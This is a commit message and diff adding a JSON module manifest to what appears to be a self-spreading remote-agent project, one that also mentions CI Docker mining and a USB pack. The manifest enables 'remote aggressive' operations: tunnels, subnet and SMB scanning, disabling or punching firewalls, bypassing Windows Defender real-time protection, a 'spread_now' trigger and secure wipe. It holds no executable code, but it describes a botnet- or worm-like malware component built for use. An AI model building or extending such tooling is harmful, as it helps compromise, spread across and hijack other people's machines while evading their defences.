feat: alive UI wave, galaxy presence, spread and fleet enhancements

Dashboard ambient layer, comrade presence, Mission Deck and War Room, Emberwake supply chain, spread/docs publishing, fleet policy and modules API, CI docker mining, and refreshed USB pack.

data/modules/crucible_ops.json

@@ -0,0 +1,19 @@
+{
+  "name": "crucible_ops",
+  "version": "1",
+  "display_name": "Crucible Ops",
+  "summary": "Dashboard remote aggressive ops — tunnels, scans, firewall, defender",
+  "description": "Stages remote aggressive command gates on thin agents without re-forge. Enables Crucible dashboard buttons: cloudflared/SSH tunnels, subnet scan, SMB shares, firewall punch, defender bypass, and on-demand spread_now.",
+  "accent": "magenta",
+  "capabilities": [
+    "Remote tunnels (cloudflared, SSH forward)",
+    "Subnet scan & SMB share enumeration",
+    "Firewall punch / disable / profile control",
+    "Defender RTP bypass (Windows)",
+    "On-demand spread_now trigger",
+    "Credential vault & secure wipe"
+  ],
+  "features": {
+    "remote_aggressive": true
+  }
+}